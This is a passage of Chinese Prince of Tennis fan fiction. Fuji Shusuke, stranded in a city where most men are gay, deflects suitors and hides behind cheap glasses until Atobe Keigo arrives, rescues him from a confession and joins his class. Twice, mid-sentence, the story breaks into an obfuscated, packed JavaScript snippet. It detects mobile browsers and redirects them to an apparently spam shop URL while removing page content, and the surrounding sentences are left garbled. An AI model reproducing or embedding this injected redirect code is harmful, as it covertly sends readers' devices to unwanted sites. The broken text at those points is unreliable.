“恋爱从不拒绝勇气!没被拒绝过的青春是不完整的!在港东市,我们鼓励市民勇敢地追求自己喜欢的人。即使被拒绝,也不代表永远的结束。人的心意是会变化的,今天的拒绝可能成为明天的接受。重要的不是结果,而是坚持表达心意的勇气。当然,所有的追求都必须在尊重对方的前提下进行。不得骚扰,不得强迫,不得侵犯个人隐私。” 不二盯着这段话看了很久。 “不放弃追求。”“人的心意是会变化的。”“今天的拒绝可能成为明天的接受。” 他的手指在屏幕边缘轻轻敲了两下,节奏不太规律,暴露了他内心并不像表面那样平静。 不二把手机屏幕按灭了。 他靠在椅背上,仰头看着图书馆的天花板。天花板很高,上面有几盏日光灯,发出嗡嗡的声响。 所以,他今天早上对中村说的那些话……“我不能收”、“我没有办法回应你的心意”、“你会遇到真正适合你的人”……在这个世界的规则里,并不能阻挡他人的追求。 在这个世界的人看来,那些话只是“暂时的否定”,而不是“永远的结束”。他们会继续送礼物,继续写信,继续在走廊上等他,继续用那种“我喜欢你”的眼神看着他。 直到他有了另一半,或者说出更重的话。更明确的、更坚定的、不留任何余地的拒绝。 但不二周助说不出来那种话。 他知道被拒绝是什么感觉,也曾经短暂地陷入“我不够好”的自我怀疑,知道那种在深夜里翻来覆去睡不着觉的痛苦。 他不想让别人承受那种痛苦。尤其是那些只是喜欢他的人。 但在这个世界里,“温柔的拒绝”等于“还有机会”。 不二闭上眼睛。 他想起了青学的队友们。如果大石在这里,一定会皱着眉头说“不二,你要学会保护自己”。英二大概会抱着他说“不二不二,那些人好可怕”。手冢大概只会说一个词:“不要大意。” 想起了裕太。 不二的眼皮微微颤了一下。 裕太。他的弟弟。 裕太一定在担心他。 不二睁开眼睛,坐直了身体。 他要回去。他一定要回去。 4. 迹部登场 不二坐在教室靠窗的位置,单手托腮看着窗外。他想起国文课上学过的一句话:橘生淮南则为橘,生于淮北则为枳。 他的某些行为在原来的世界里叫做“体面拒绝”。在这个世界里,叫做“还有机会”。 他只是换了一个世界,“同样的行为就变成了完全不同的含义。 “不二同学!” 胜郎的声音从走廊传来,不二的肩膀几不可察地僵了一下。他转过头,看到胜郎手里又拿着什么东西跑了过来。 “隔壁的田中让我转交这个!”胜郎把一个纸袋放在不二的桌上,“他说是他自己烤的曲奇饼干!” 不二看着那个浅棕色纸袋,纸袋口子上系着一条米白色的丝带,打了一个漂亮的蝴蝶结。精致的包装体现出主人所投注其中的感情。 “胜郎,”不二说,声音有些疲惫,“我说过……” “我知道我知道!”胜郎连忙摆手,“你说过不想恋爱嘛!但田中说他只是想送你饼干,没有别的意思!他说他觉得不二同学刚转学过来,应该多交朋友,不要有压力!” “……”不二看着那个纸袋,沉默了几秒。包装上的爱心落款不像是单纯做朋友。 虽然拒绝会让人伤心,但他还是得表明态度。“胜郎,以后不要再帮别人带东西了。请你转告田中同学,谢谢他的好意,但我不能收”。 如不二所料想的那样,胜郎露出不解的表情:“为什么啊不二?对追求者来说,送礼物是最直接表现自己爱意的方式,绝大部分人都会收下礼物来表示尊重这份爱啊?” 不二周助揉了揉自己眉心,“对不起胜郎,麻烦你了。因为我说了不会恋爱,所以准备礼物对他们来说是白费力气的事。” 胜郎还想反驳什么,但看着不二疲惫的表情还是停下来话头。“好吧,我不会再替别人带东西了,我也会劝其他人别送了。那……不送礼物的话,信可以吗?不二~连信都不可以送的话,大家会不知道怎么办的。” 不二周助默认了。 于是,之后不二周助很少再会收到礼物,但是抽屉里塞满了情书。淡蓝色的、粉色的、白色的、浅绿色的。有的信封上画着爱心,有的贴着贴纸,有的什么装饰都没有,只在正面用最工整的字迹写着“不二周助收”。 不二一封一封地收起来,没有拆,全部带回了家。他把它们放在床头的抽屉里,和其他所有情书叠在一起。 一个星期下来,那个抽屉已经塞得满满当当了。 为了远离人群,他开始在午休的时候躲进图书馆最角落的位置。那里有两排很少有人问津的哲学书,书架和墙壁之间有一条窄窄的缝隙,刚好能塞进一把椅子和一个人。 他缩在那个角落里,翻着从书架上随手抽出来的书。昨天是一本关于存在主义的读物,今天是一本港东市地方史。 “这个世界的人为什么这么喜欢谈恋爱?”他在心里想。不是抱怨,是真的困惑。他翻开地方史,想找一些关于这座城市的历史资料,结果翻到第三章的时候,看到一个小标题:“港东市的恋爱文化起源”。 他啪地把书合上了,几秒后又沉默地打开看了起来。 书中详细描写了港东恋爱文化从何而起,港东人天性中的浪漫,加上网络助推以及科技生子的发展让同性热恋成为社会主流。 书中描写很生动有趣,但实在给不二周助吓了一跳。 第二天早晨,做了一晚上被告白信淹没噩梦的不二周助顶着黑眼圈进行洗漱。 他看着镜子中的自己,发现镜子中的自己有些陌生。 回忆日常中自己的表现,他发现了自己的变化。 他现在开始躲避别人的目光了…… 不二不是一个怕被人看的人。在原来的世界里,他也经常被人盯着看。刚入学青春学园的时候,也有不少人因为他长得好看而多看他几眼。但那些目光通常只会持续几秒,然后对方就会移开视线,继续做自己的事。 这里的目光不一样。 这里的目光会停留,会追着他移动。会在他和别人说话的时候从各个方向投射过来,像无数根细线,试图把他绑在原地。 他发现自己在走廊上走路的时候,会不自觉地加快脚步。经过人群的时候,会下意识地低下头。有人叫他的名字的时候,心跳会先快半拍,然后才能调整出微笑的表情转过去。 他变成了一只随时准备逃跑的猫。 “这样下去不行。”不二站在洗手间的镜子前,对自己说。 镜子里的人看起来状态有些不太好。栗色的头发有点长了垂在耳边,衬得脸更加白皙。冰蓝色的眼睛因为没睡好有些发红,但反而多了一种让人心疼的美感。嘴角习惯性地微微上翘,即使没有在笑,也带着一种天然的柔和。 他看了看镜子。 然后做了一个决定。 放学后,不二去了学校附近类似银座的商城。他在货架间走了一圈,找到了自己想要的东西。 一副黑框眼镜。 没有度数,最便宜,最普通的那种。黑色的塑料镜框,方方正正,看起来笨重又呆板。 不二站在货架前,把眼镜举到眼前试了试。镜片反着商城惨白的灯光,把他的视线切割成两个小小的矩形。 他来到商城镜子前,深吸一口气,然后把眼镜戴上。 镜子里的人变了。 那双标志性的冰蓝色眼睛被镜片遮住了大半,光线在镜面上反射,让人看不清他眼底的神色。 一副眼镜当然不可能有什么神奇魔法,但是大框架眼镜一戴上,不二那外显的温柔亲和特性瞬间被眼镜特有的古板气质所替代。就像是一颗夜明珠盖上了一层布,宝珠本身还是那么好看,但不再那么显眼。 不二对着镜子歪了歪头,又正了正。 “嗯。”他说。然后他摘下眼镜,看了看,又戴上。 “还行。” 第二天早上,不二戴着黑框眼镜走进教室。 胜郎第一个看见他,愣了一下。“不二?你戴眼镜了?” “嗯。”不二走到自己的座位,把书包放下,“最近眼睛有点累,配了一副。” “哦……”胜郎歪着头打量了他一会儿,“好像变了一个人似的。” “是吗?”不二笑了笑,转过身开始整理课本。他注意到教室外的某些男生踌躇着想要找他,但最终放弃离开。 不二在心里轻轻舒了一口气。 效果比他预期的好。 接下来的几天,不二每天都戴着那副黑框眼镜,他甚至在拍照的时候也不摘下来。虽然有时候镜框的会压得鼻梁疼眼镜往下掉的瞬间有些碍事,但和被人盯着看的压力比起来,这点不便完全可以忍受。 告白明显变少了。 从每天好几封变成了两三天一封。那些情书也不再是长篇大论的告白信,更多的是一些简短的便条:“不二同学,你今天看起来也很可爱”“不二同学,周末有空吗”“不二同学,这个送给你”。 不二依然温柔地拒绝,依然把告白信不拆放回抽屉,依然在午休的时候躲进图书馆的角落。 他以为自己终于找到了在这个世界生存的方法。 直到这周五放学后。 当天天色有些阴沉,云层压得很低,像是随时要下雨。不二收拾好书包,准备去超市买点食材回家。 他沿着平时走的那条路往校门口走,经过操场旁边那条种樱花树的小路时,一个人影突然从树后闪了出来。 “不二同学。” 不二停下脚步。 站在他面前的男生个子很高,穿着青叶学园的制服,领带系得一丝不苟。他有着一头深棕色的短发,五官端正,眉宇间有一种不属于这个年纪的沉稳。 不二认得他,青叶学园高中部的藤原秀树,学生会副会长,在学校里算是名人。 “藤原前辈。”不二礼貌地点头。 藤原没有回礼。他站在那里,目光直直地看着不二。不二注意到他的手握拳又松开,指节因为用力而泛白。 “我有话想对你说。”藤原的声音低沉。 不二的心沉了一下。他已经能猜到接下来会发生什么。 “藤原前辈,”不二抢在他之前开口,“如果是要说关于感情的事,我想我已经表达得很清楚了。我暂时不打算……” “我知道你说过不想恋爱。”藤原打断了他,“但你也说了那只是暂时,不是吗?” 不二沉默了。 藤原往前走了一步。他的表情很认真,认真到近乎严肃。那双黑色的眼睛里映着不二的倒影,倒影很小,但很清晰。 “我从你转学来的第一天就注意到你了。”藤原说,声音比刚才更低了,像是在说一个藏了很久的秘密。“那天我去国中部巡查,当时你坐在靠窗的位置,阳光照在你的头发上,你转过头看窗外笑。我不知道你在笑什么,但我那一刻觉得,世界上所有的光都集中在你身上。” 不二张了张嘴,想说什么,但藤原抬起手,示意他不要说话。 “我知道你拒绝了很多人的告白。”藤原继续说,“我知道你说不想恋爱。” 不二的手指在书包带上收紧了一下。 “你戴眼镜我也知道。”藤原的目光落在不二的黑框眼镜上,停了一秒,然后又回到他的脸上,“但我还是想告诉你……我不想以后后悔,不想在十年后的某一天想起来,‘啊,我当时要是说了就好了’。” 风从樱花树的缝隙间穿过来,带着傍晚的凉意。不二的头发被风吹乱了几缕,垂在额前。他没有抬手去拨。 “藤原前辈,”不二开口,声音很轻,“你……” 不二周助想着该如何说才能既不伤人,又能体现自己的坚定拒绝。当刚准备说出口,一个熟悉的声音打断了他。 “嗯?这不是青学的天才吗?” 一个声音从不远处传来,带着一种不二无比熟悉的、慵懒而华丽的腔调。 不二的身体僵住了。 他猛地转过头。 小路尽头的樱花树下,站着一个熟悉无比的人。那人穿着冰帝学园的灰白色制服,外套随意地搭在肩上,一只手插在口袋里,另一只手正把垂在额前的紫灰色头发往后拨。他的姿势随意得像是在自家后花园散步,但他的存在感强得像一盏聚光灯,把整条小路都照亮了。 迹部景吾。 不二的眼睛瞪大了。 迹部景吾就站在那里,嘴角噙着一抹似笑非笑的弧度,深灰色的眼睛隔着几步远的距离注视着不二。他的目光在藤原身上停了一秒,然后又回到不二脸上,落在那副黑框眼镜上,微微挑了挑眉。 “这副不华丽的眼镜是怎么回事?”迹部问,语气里带着一丝嫌弃,“品位也太差了吧。” 不二张了张嘴,一个字都说不出来。 他的大脑在那一刻彻底宕机了。 迹部景吾。冰帝学园网球部部长。那个在球场上打着响指说“沉醉在本大爷的美技之下”的迹部景吾。那个在全国大赛上和手冢打得难解难分的迹部景吾。那个和他一起奋斗过的迹部景吾…… 不二的脑子转了一百八十个弯,最后所有的弯都通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494666|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向同一个结论: 他也穿越了。 藤原看到迹部的时候明显愣了一下。他打量了一下迹部的制服,不是本地的,是没见过的款式。领口的徽章也不是港东市任何一所学校的标志。 “你是……”藤原迟疑地开口。 迹部没有看他。迹部的目光一直落在不二身上,深蓝色的眼睛里有一种不二读不太懂的情绪。 “不二周助,”迹部叫了他的全名,声音比刚才低了一些,像是在确认什么,“是你吧?” 不二终于找回了自己的声音。 “迹部。”他说。声音有点哑,像是太久没喝水。他清了清嗓子,又重复了一遍,“迹部,你怎么在这里?” 迹部没有回答这个问题。他往前走了几步,来到不二身边,自然而然地站在了藤原和不二之间。这个动作很小,小到可能只是无意识的,但藤原的脸色微微变了一下。 “这位是……”藤原看着迹部,语气里多了一丝戒备。 “迹部景吾。”迹部报上自己的名字,下巴微微抬起,姿态像是一个国王在审视自己的领地,“冰帝学园三年级。不二的朋友。” 他说“朋友”这个词的时候,语气里有一种奇怪的腔调,像是在宣示什么。 藤原看了看迹部,又看了看不二。他的目光在两个人之间来回移动,似乎在思考什么。 “不二的朋友?”藤原重复了一遍,“从外地来的?” “算是吧。”迹部的回答模棱两可,目光从藤原身上扫过,带着一种不经意的审视,“你呢?你是……” “我是藤原秀树。”藤原说,语气恢复了学生副会长的沉稳,“和不二同学是……” 他顿了一下,似乎在找一个合适的词。 “校友。”不二接过了话。他的声音已经恢复了平静,虽然脑子里还是乱成一团,“藤原前辈是学生会的副会长。” “哦?”迹部的尾音微微上扬,听起来像是在表达兴趣,但他的表情没有变。他看着藤原,忽然笑了一下,笑容里有种说不清道不明的意味。 “刚才的事,”迹部说,目光在藤原手中没来得及送出去的告白信上停了一秒,“本大爷都看到了。” 藤原的脸色变了,不二的脸上也戴上了尴尬的红霞。 “你这个人,”藤原的声音冷了几分,“偷听别人说话,不太礼貌吧。” “本大爷可不是故意的。”迹部说,语气里听不出歉意,“只是刚好路过,你想上演告白的浪漫现场的时候,都没注意有没有其他观众吗?不过……” 他转头看向不二,表情在那一刻变得认真起来,深蓝色的眼睛里有某种东西在闪烁。 他确实是看见了全程。看见不二周助也在这个陌生的异世界时,他刚想上去打招呼就被一个冒失的告白男打断了。 两情相悦的告白才符合他的审美,但以他对不二周助的了解,定是觉得烦恼,不然眉头也不会不自觉微皱。 不过看在不二周助连拒绝都这么温柔的面子上,他也不去破坏这份善意了。 迹部景吾单手将不二周助脸上的眼镜取下,环臂胸前,注视着不二周助。果然,还是这样符合他的审美。不过还差一点…… 迹部景吾右手手指伸直,轻轻按压在不二周助的眉心,将那微微簇起的痕迹轻轻抚平。然后手掌顺直向下,遮盖了不二周助惊讶的目光。 宽阔的温热手掌轻松盖住不二周助半张小脸,确保对方看不见后,迹部景吾审视般看向藤原。 “他早已明确说过不想恋爱,不要把自己的不圆满强加给别人,男人该有的分寸,懂?” 藤原被迹部景吾的强势镇住了,又看了看全然信任地任由迹部景吾动作的不二周助,落寞地留下一句“对不起”后转身离开。 小路安静了下来。 风吹过樱花树,几片叶子旋转着落下来,在两个人之间下了一场树叶雨。 不二站在原地,迹部的手掌离开,光亮重新回到他的视线。“迹部,你怎么会在这里?” 迹部景吾,真的是迹部景吾! 不是这个世界里某个同名同姓的陌生人,而是那个他认识的、熟悉的迹部景吾! 不二忽然笑了,发自内心的、带着放松和欣喜的笑。 “迹部,”不二说,眼睛弯了起来,“看到你真好。” 迹部看着那个笑容,愣了一下。 然后他别开了目光,耳朵尖微微泛红。 “笨蛋。”迹部说,声音比平时低了几分,“本大爷才刚穿越过来,你就不能先解释一下这个世界是怎么回事吗?刚才那个男的……” 他顿了一下,清了清嗓子。 “刚才那个男的是怎么回事?” 不二的笑容凝固了一秒,然后变成了一种无奈的表情。 “这件事……”不二说,声音里带着一种深深的疲惫,“说来话长。” 迹部看着他疲惫的冰蓝色眼睛。 “那就慢慢说。”迹部说,顺手把不二周助的书包接过随意地甩到肩上,“本大爷有的是时间。” 他往前走了两步,然后停下来,回头看了不二一眼。 “走吧。找个能坐的地方。本大爷请客。” 夕阳在那一刻终于从云层后面露出了一角,橘红色的光线穿过树叶的缝隙,落在迹部的脸上。他站在那里,逆着光,紫灰色的头发被染上了一层温暖的颜色,深蓝色的眼睛里映着不二的影子。 不二看着那个画面,忽然觉得,这个世界好像没有那么陌生了。 他快步跟了上去。 5. 拯救者 不二带着迹部向自己常去的咖啡厅走去。 咖啡厅里暖黄色的灯光从落地窗里透出来,门口的小黑板上用粉笔写着今日推荐。线条干净,颜色素雅。 咖啡厅里人不算多。不二走到靠窗的空位坐下,迹部坐在他对面。服务生带着菜单走过来询问:“两位想喝点什么?” 迹部点了一杯咖啡,不二要了一杯热可可。 服务生走后,迹部靠在椅背上,深蓝色的眼睛隔着桌子打量着不二。他的右手食指在桌面上轻轻敲击着,节奏稳定,像是在打什么节拍。 “怎么了?”不二问。 “没什么。”迹部的嘴角微微翘起,带着一丝戏谑,“只是想到青学天才,被一个男生告白,还皱起了眉。这画面可不多见。” “……你就不能装作没看到吗?” “本大爷的观察力可是世界级的。”迹部理所当然地说,然后话锋一转,“不过,你那副眼镜是怎么回事?品位也太差了吧。忍足虽然也戴眼镜,但他的眼镜至少是手工定制的。手冢那死板家伙的眼镜不在我考量内,你这副……” 他伸出手,不等不二反应直接摘下了不二脸上的黑框眼镜,拿在手里翻来覆去地看,表情越来越嫌弃。 “百元店的?”迹部挑了挑眉。 不二下意识地眯了眯眼睛,没有了镜片的遮挡,他的脸一下子变得清晰起来,那双冰蓝色的眼睛在灯光下格外明亮。他伸手想去拿回眼镜,但迹部把眼镜举高了一点,没让他够到。 “不到百元哦,你先还给我。”不二说。 “你先回答本大爷。”迹部把眼镜放在桌上,手指按住镜框,“你为什么要戴这副眼镜?” “可能是为了不引人注目吧,毕竟我们不是这个世界原住民。”不二不是很乐意将自己被许多同性追的情况说给熟人听。 “行吧。”迹部放下杯子,将眼镜还给不二,“先说说这个世界到底是怎么回事,你来多久了?” 不二将眼镜重新戴上,双手捧着热可可的杯子,感受着掌心传来的温度。他想了想要从哪里开始说起。 “我穿越过来大概一个月。”不二开口,“上一秒还在与青学大家聚餐的路上,下一秒就在这个世界了,身上只有校服、网球包、相机,还有一些现金。这个世界没有青学,没有冰帝,没有东京,没有迹部财团,也没有我认识的任何人。” “这一个月你是怎么过来的?”迹部景吾首先想要知晓的是不二的生活状况。他本以为不二和他一样刚穿越,没想到他自己一人在完全陌生的世界独自待了近一个月。 迹部景吾心里有些不得劲,怎么不二总是遇到糟糕事。扛了几次轮回才好不容易解决【规则】*没多久,就又穿到异世界独自生活。难道真是实力越强,需要经受的磨练越多? “嗯……就遇到了个好警察,办了身份证明,租了公寓,入了学。时不时参加些摄影比赛赚取生活费。” 短短几句话让迹部景吾心里更不得劲了。自从被【规则】利用害了不二*后,迹部心里一直是存有愧疚的。 在后来的日子里他总是会不自觉关心不二的一切,甚至亲自动手照料不二。即使战胜【规则】*回到正常生活后,他也会时常去青学或是不二家看他。 但是现在却让他得知,自己精心照料的玫瑰又从安全温馨的花园落入了危险不安的荒野。这个认识让迹部景吾突然感到庆幸,还好自己也穿越来了。 “然后呢?” “然后我发现,”不二抬起头,看向迹部的眼睛带着些狡黠,“这个世界的人……几乎都是同性恋。” 迹部端着咖啡杯的手顿住了。他的动作很轻微,但以迹部景吾的标准来说,这已经是极大的失态了。 “你说什么?”迹部放下杯子,深蓝色的眼睛直直地盯着不二。 不二从口袋里掏出手机,打开浏览器,把之前查到的数据递给迹部看。 “港东市政府的最新统计。男性居民中,同性恋占81.9%,双性恋占15.1%,异性恋只有3%。” 迹部接过手机盯着屏幕上的数字看了几秒,他的表情没有太大变化,但握着手机的指节明显体现出指节主人的不平静。 “3%?”迹部的声音有些干涩,“那异性恋在这里算什么?” “性少数群体。”不二说,“有一个专门的交友网站,口号是‘为3%的人口提供交友支持’。” 迹部把手机放回桌上,靠在椅背上,沉默了好一会儿。 然后他忽然笑了。不是那种优雅的、掌控一切的笑,而是一种带着某种了然的笑。 同性恋世界,难怪不二要戴眼镜。迹部看向自己这位好友,也不禁感慨造物主的偏爱。“这才是你戴这不华丽眼镜的理由吧,嗯?” 不二苦笑。他突然意识到什么,然后认真地看着迹部。 迹部景吾,冰帝的帝王,走到哪里都是焦点的存在。他的五官深刻而华丽,气质张扬而自信,身材高挑,姿态优雅。在原来的世界里,他是无数女生追捧的对象。而在这个世界里…… 不二的表情变得有些微妙。 “怎么了?”迹部察觉到了不二的目光,皱了皱眉。 “迹部……”不二斟酌了一下措辞,“嗯……有些事我不好说……” 迹部猜到不二想说什么,他的表情一瞬间变得非常精彩。他的眉头皱了起来,嘴角微微抽动,像是在努力消化一个难以接受的事实。 但很快他深吸了一口气,恢复了那副从容的姿态。 “无所谓。”迹部说,端起咖啡杯优雅地抿了一口,“本大爷的魅力本来就是男女通杀的。不过……” 他放下杯子,深蓝色的眼睛直视不二。 “本大爷可不是那种随便什么人的告白都会接的人。本大爷的审美,可是很严格的。” 不二看着他这副样子,忍不住笑了。“那什么样的才能入你的眼?” 迹部没有立刻回答。他靠在椅背上,目光在不二脸上停留了一秒,然后移开了。 “至少,”迹部说,声音比平时低了一些,“得是本大爷看得上的人。” 不二没有追问这个话题,而是开始商量接下来的安排。“对了迹部,你今晚住哪里?” 迹部端着杯子的手停了一下。“本大爷刚穿越过来,还没有住的地方。” “那你……”不二想到自己没有怎么布置的家,稍微犹豫了一下,“要不要先来我家?虽然肯定比不上你原本的豪宅,但至少有个落脚的地方。明天我带你去找佐藤先生,就是帮我办身份证明的那个警察,看能不能请他帮帮忙。” “那本大爷就勉为其难地借住一晚了。”迹部说,“不过本大爷可不会白住。作为感谢……” 他伸手招来了服务生。 “买单。” 不二没有拒绝,而是笑眯眯地看着眼前气势逼人的迹部。 迹部从口袋里掏出钱包,优雅地打开。 然后在打开钱包的瞬间,脸上的自信凝固了。他的钱包里有冰帝学生证、随身证件,十几张银行黑卡,唯独没有现金。 “怎么了?”不二微笑着明知故问。 “这些银行卡上的银行……”迹部的声音有些僵硬,“这个世界里有吗?” “没有哦。”不二毫不留情地打破了迹部的幻想。 迹部沉默了。 他坐在那里,手里捏着那个原本“富可敌国”的钱包,表情是一种不二从未在迹部景吾脸上见过的微妙窘迫。他的背脊依然挺直,下巴依然微抬,但耳朵尖已经悄悄红透。 冰帝学园的帝王,迹部财团的继承人,从来不需要为钱发愁的迹部景吾,此刻连一杯咖啡都付不起。 报了刚刚迹部取笑他的仇,不二忍着笑,把这个钱递给服务生。 “我来吧。” 迹部的耳朵尖更红了。 “本大爷会还你的。”迹部说,声音比平时低了几度,但语气里带着一种不容拒绝的认真,“十倍奉还。” “不用十倍,你出现在这个世界已经是给我的礼物了。”不二笑着站起来,拿起书包,“走吧。” 不二带着迹部来到自己租住的公寓。 不二周助相信,世界上99.99786%的屋子比起迹部家来说,都算小得可怜。“有点小。”不二提前打预防针,“你将就一下。” 在选择房子的时候,不二没想过会有独居以外的情况。即使他留了一间客房,但整间公寓面积不算太大。一个人绰绰有余,甚至很宽敞,但两个人住就不一定了。 并且不二住进来还不到一个月,加上学校男生消耗他的精力与情绪,整间公寓不二还没想过去布置成自己喜欢的模样。整间公寓就像是一间样板房,缺少生活气息。 迹部站在门口,沉默了三秒。 “你就住这里?”迹部问,语气里带着一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494667|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以置信。 “嗯。”不二把书包放在书桌上,转身看着迹部,“是不是觉得有点小?但其实我一个人住也还好。” 迹部没有回答。他走进房间,目光从每一个角落扫过。从空荡的冰箱到寥寥无几衣物的衣柜,他的眉头越皱越紧。 “你一个人在这种环境里过了一个月?”迹部说。 “不到一个月吧,最开始我还不住在这。这是我后面赚钱后新租的屋子。”不二其实有一些小骄傲,即使他还未成年,即使他突然来到完全陌生的异世界,他也有养好自己的能力。 不二对自己能独自赚钱租房的小骄傲在迹部这里完全是另一种想法。 空荡的冰箱意味着没有足够的营养摄入与食物享受,整间屋子看不见任何装饰意味着生存还是不二的首要任务,以致于他没有心思去装扮自己的家。这都意味着不二周助过得不好…… “本大爷,”迹部背对着不二,声音有些低,“比你晚穿越了一个月。” “嗯对啊,不过还好你来了。” “那如果本大爷没有穿越过来,你打算怎么办?” 不二愣了一下。“什么怎么办?” “就是……”迹部转过身,面对着他,“你打算一个人在这个世界里撑多久?撑到找到回去的方法?如果一直找不到呢?你就一直一个人住在这里,一个人应付那些追你的人,一直戴着那让你不舒服的墨镜?” 不二张了张嘴,想说什么,但最终什么也没说出来。 因为他发现迹部说的好像都是对的。 这一个月里,他一直在告诉自己“没关系”“我可以”“这只是暂时的”。他把自己武装得很好,微笑、从容、温柔、坚定。他像一个完美的穿越者,冷静地处理每一件事。 但没有人知道,他在深夜里翻来覆去睡不着的时候会把相机抱在怀里,一遍一遍地看着之前拍下的青学队友们、家人们的照片。 “但是迹部,”不二说,声音很轻,“你来了啊。” 不二的声音很轻,但迹部听见了。 但迹部觉得自己的心脏被什么东西轻轻撞了一下。 “笨蛋。”迹部说着别开了目光。 “行了行了,我是笨蛋。快来收拾你的房间,我有没用过干净的床单被套,收拾好后我们还要去买你的生活用品。时间不等人哦迹部。” 不二将客房收拾出来给迹部住。收拾的时候他其实有点担心迹部会不会不愿意住这里,毕竟对比迹部的房间来说,这间客房的条件确实太差了。 出乎意料的是,迹部毫无抵触地就接受了这间房。虽然嘴上会吐槽床垫太硬,装修风格不符合他审美,但收拾的时候迹部非常配合,一切弄好后迹部也难得说了句称赞的话。 迹部房间整理出来了,但换洗衣物、洗漱工具的生活用品都还没有。不二带着迹部去自己常去的餐馆解决完晚饭,又去商城买了一大堆东西。 第二天一早不二就带着迹部去了港东中央警察局。佐藤弘正好在值班,看到不二来了,笑着迎上来。 “不二!好久不见,最近怎么样?” “挺好的,佐藤先生。”不二说,“我有件事想拜托您。” 他把迹部的情况简单说明了一下,话术和自己被询问时一样。 虽然佐藤对此产生怀疑,但由于指纹库中确实没有迹部景吾这个人,最后也是帮助迹部景吾办理好了相关身份证件。 除此之外,佐藤弘帮忙联系了青叶学园校长说明情况,迹部景吾被安排到了和不二周助同一班级,下周一入学。 两个人走出警察局,阳光洒在他们身上,暖洋洋的。 “迹部。” “嗯?” “欢迎来到港东市。” 迹部看了他一眼,嘴角微微翘起。那个笑容带着一种熟悉的张扬和自信,和他平时在球场上的样子一模一样。 “本大爷可不是来旅游的。”迹部说,右手优雅地举到额前,“是来拯救你的。” “拯救我?” “不然呢?”迹部把手放下来,双手插进口袋,往前走了几步,然后回头看着不二。阳光从他的背后照过来,在他的轮廓上镀了一层金边,“你一个人在这个世界里,连个像样的屋子都没有。这不华丽的样子,本大爷看不下去了。” 不二愣了一秒,然后笑了。 “那就拜托你了,迹部君。”不二说,眼睛弯成了月牙。 6. 入学 周一早晨,两个人并肩走在通往青叶学园的路上。早晨的阳光斜斜地照在街道上,把他们的影子拉得很长。迹部的步伐从容,不二的步伐轻快,两个人的节奏意外地合拍。 “紧张吗?”不二问。 “本大爷?”迹部哼了一声,“本大爷从来不知道什么叫紧张。” “是吗?”不二想起迹部在原世界里他即将与【规则】正面对抗前的紧张焦虑,没打算拆台。“不过这个世界的交流方式不太一样,你注意一下。” “什么?” “……就是,大家都比较热情。”不二斟酌着措辞,“你可能会收到一些……意想不到的善意。” 迹部看了他一眼,嘴角微微翘起。“你是说,像你收到的那种?” 不二没有否认。 青叶学园的校门出现在视野里。樱花树的花期已经彻底过了,只剩下浓密的绿叶在风中摇曳。校门口有几个学生正在往里走,看到不二的时候,有两个人的脚步明显顿了一下。 “早,不二同学!”其中一人跟不二热情打招呼,目光忍不住往迹部那边飘。 “早。”不二微笑着回应,然后自然地往迹部那边靠了半步,“这是今天转来的新同学,迹部景吾。” “你、你好!”那个学生连忙鞠躬,脸涨得通红。 迹部微微点头,姿态优雅得像一个国王在接见臣民。“迹部景吾。请多指教。” 他的声音不大,但有一种奇异的穿透力,周围好几个学生都转过头来。目光从四面八方汇聚过来,像无数条细线,全部系在迹部身上。 不二注意到,有几个男生的表情和当初看他的时候一模一样,脸红,眼睛发亮,嘴巴微微张开。 他在心里叹了一口气。 来了。 走进教学楼的时候,胜郎从后面追了上来。 “不二!早上好!”胜郎元气满满地喊道,然后看到了不二身边的迹部,声音戛然而止。 他眨了眨眼,又眨了眨眼。 “不二……这是……” “新同学,迹部景吾。”不二说,“从今天起和我们一个班。” “你好!我是胜郎!”胜郎连忙自我介绍,目光在迹部脸上来回扫了好几遍,“你……你好好看啊……” 迹部看了胜郎一眼,嘴角微微上扬。“你的审美不错。” 胜郎的脸一下子红了。 不二在旁边忍住笑。迹部景吾,即使换了一个世界,还是那个迹部景吾。 教室里已经到了一半左右的学生。不二走进教室的时候,几个同学抬头跟他打招呼,然后他们的目光越过不二身后落在了迹部身上。 教室里的声音渐渐小了。 所有人的目光都集中在了迹部身上。迹部站在教室门口,姿态从容,目光缓缓扫过整个教室,仿佛他不是在参观一个陌生的班级,而是在检阅自己的领地。 “不二……”坐在前排的一个女生小声问,“这位是……” “新同学。”不二说,“迹部景吾。” “大家好,我是迹部景吾。”迹部开口,声音清晰而有力,“从今天起转入这个班级。” 他停顿了一下,深蓝色的眼睛再次扫过教室。 “本大爷的兴趣是网球、骑马、小提琴和鉴赏。” 教室里彻底安静了。所有人都瞪大了眼睛看着他,等待他继续说话。 “本大爷来到这个班级,不是为了适应你们的标准。”迹部继续说,下巴微微抬起,“而是要把你们的标准提升到本大爷的高度。所以,做好觉悟吧。” 他打了一个响指。 清脆的响声在安静的教室里回荡,像是一颗石子投入平静的湖面。 三秒钟的沉默之后,教室里炸开了锅。 “什么什么?他说了什么?” “好帅……” “他是哪里来的?那个气场是怎么回事?” “迹部景吾?没听说过的姓氏……” “他的头发好漂亮……” “响指!他打了响指!好帅!” 胜郎坐在座位上,嘴巴张得能塞下一个鸡蛋。他转头看向不二,发现不二正在笑。不是那种礼貌的、保持距离的微笑,而是一种发自内心的、带着某种怀念的笑。 “不二,”胜郎小声问,“你这个朋友……一直都是这样的吗?” 